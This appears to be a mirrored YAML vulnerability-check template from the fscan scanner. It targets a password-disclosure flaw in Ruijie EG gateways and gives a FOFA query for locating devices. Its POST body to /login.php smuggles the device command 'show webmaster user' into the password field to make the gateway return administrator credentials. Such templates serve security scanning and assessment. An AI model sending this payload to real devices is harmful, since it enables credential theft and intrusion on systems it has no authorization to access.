mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
22 lines
549 B
YAML
22 lines
549 B
YAML
id: ruijie-eg-password-leak
|
|
|
|
info:
|
|
name: Ruijie EG Information Disaclosure
|
|
author: Search?=Null
|
|
severity: high
|
|
verified: true
|
|
description: |-
|
|
fofa: app="Ruijie-EG易网关"
|
|
tags: ruijie,disclosure
|
|
created: 2023/10/29
|
|
|
|
rules:
|
|
r0:
|
|
request:
|
|
method: POST
|
|
path: /login.php
|
|
body: |
|
|
username=admin&password=admin?show+webmaster+user
|
|
expression: response.status == 200 && response.body.bcontains(b'"data":') && response.body.bcontains(b'admin') && response.body.bcontains(b'"status":')
|
|
expression: r0()
|